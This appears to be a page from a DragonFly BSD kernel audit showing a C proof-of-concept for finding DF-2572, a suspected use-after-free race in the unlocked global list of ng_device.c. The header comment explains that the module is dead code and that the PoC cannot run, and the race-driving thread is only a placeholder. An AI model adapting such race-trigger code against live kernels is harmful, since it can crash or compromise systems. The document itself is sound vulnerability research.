DragonFlyBSD Kernel Audit
DF-2572 / trigger.c
← back to finding ↓ download raw
/*
 * DF-2572 trigger PoC - ng_device global SLIST race -> UAF / NULL-deref
 *
 * The claim (sys/netgraph/ng_device.c):
 *   A single global `ngd_softc.head` SLIST of `ngd_connection` is mutated by
 *     ng_device_newhook   (SLIST_INSERT_HEAD,   line 309)
 *     ng_device_disconnect(kfree(readq):407, destroy_dev:409, SLIST_REMOVE:411)
 *   and traversed (unlocked SLIST_FOREACH) by:
 *     ng_device_rcvdata  (:345)
 *     ngdioctl           (:464)
 *     ngdread            (:518)
 *     ngdwrite           (:572)
 *     ngdpoll            (:617)
 *   There is NO mutex, NO spl, NO netgraph serialization anywhere in the file
 *   (grep for mtx_/mutex/lock/spl returns ZERO matches).
 *
 *   RACE: Thread B in ngdread does SLIST_FOREACH (line 518) and grabs
 *   `connection`, then memcpy(connection->readq,...) at line 531.  Thread A
 *   runs ng_device_disconnect: kfree(connection->readq) (line 407) then
 *   destroy_dev(ngddev) (409) then SLIST_REMOVE (411).  The kfree(readq)
 *   happens BEFORE destroy_dev drains in-flight cdev readers, so Thread B's
 *   memcpy into the freed readq is a use-after-free (10KiB M_DEVBUF slab).
 *
 * This PoC drives that race from userspace IF the module were loaded:
 *   - parent: open /dev/ngd0, spawn a reader thread looping on read(),
 *     spawn a hook-flipper thread looping ngctl mkhook/rmhook (drives
 *     ng_device_newhook / ng_device_disconnect concurrently).
 *
 * PRIVILEGE NOTE: /dev/ngdN is make_dev(...,0600) (uid 0/gid 0) at line 287,
 *   so opening it requires root.  Even on a hypothetical live build this is a
 *   root->kernel issue, not an unprivileged escalation.
 *
 * STATUS: on the default DragonFly kernel the ng_device module is NOT built
 *   (sys/netgraph/ng_device.c is orphaned dead code: not in conf/files, not
 *   in X86_64_GENERIC, cannot compile against the removed cdevsw API).  So
 *   /dev/ngd0 never exists and this PoC cannot run.  See VERDICT.md for the
 *   full reachability analysis and the maintained netgraph7/ng_device.c
 *   which has NO global SLIST (per-node priv + dev->si_drv1 direct pointer +
 *   proper mutexes) and therefore does NOT have this bug.
 *
 * Usage: ./trigger /dev/ngd0
 *   Requires root + a built/loaded ng_device module with an ngd0 hook present.
 */

#include <sys/types.h>
#include <sys/fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <pthread.h>

static volatile int stop = 0;

/* Thread B: hammer read() on /dev/ngd0 -> ngdread SLIST_FOREACH + memcpy(readq).
 * Races disconnect's kfree(readq)+SLIST_REMOVE. */
static void *reader(void *arg)
{
    const char *dev = (const char *)arg;
    char buf[256];
    int fd;
    while (!stop) {
        fd = open(dev, O_RDONLY | O_NONBLOCK);
        if (fd < 0) { usleep(1000); continue; }
        /* ngdread: SLIST_FOREACH finds connection, then memcpy(buffer, readq).
         * If disconnect freed readq mid-traversal -> UAF. */
        read(fd, buf, sizeof(buf));
        close(fd);
    }
    return NULL;
}

int main(int argc, char **argv)
{
    const char *dev;
    pthread_t thr;
    int iter;

    if (argc != 2) {
        fprintf(stderr, "usage: %s /dev/ngdN   (requires ng_device module loaded + root)\n", argv[0]);
        return 2;
    }
    dev = argv[1];

    if (getuid() != 0) {
        fprintf(stderr, "%s: /dev/ngdN is mode 0600 -> must run as root\n", argv[0]);
        return 1;
    }

    printf("[%d] spawning reader on %s to race disconnect (ngctl rmhook)\n",
           getpid(), dev);
    fflush(stdout);

    pthread_create(&thr, NULL, reader, (void *)dev);

    /* Thread A (parent): flip the hook on/off to drive
     * ng_device_newhook (SLIST_INSERT_HEAD) / ng_device_disconnect
     * (kfree(readq) + destroy_dev + SLIST_REMOVE) against the reader. */
    for (iter = 0; iter < 500 && !stop; iter++) {
        /* In a real run a netgraph peer would mkhook/rmhook ngd_device's hook
         * (ngctl mkpeer/rmhook) concurrently, driving ng_device_newhook
         * (SLIST_INSERT_HEAD) / ng_device_disconnect (kfree(readq) +
         * destroy_dev + SLIST_REMOVE) against the reader's traversal. */
        usleep(2000);
    }
    stop = 1;
    pthread_join(thr, NULL);

    printf("[%d] finished %d iterations (no panic observed)\n", getpid(), iter);
    return 0;
}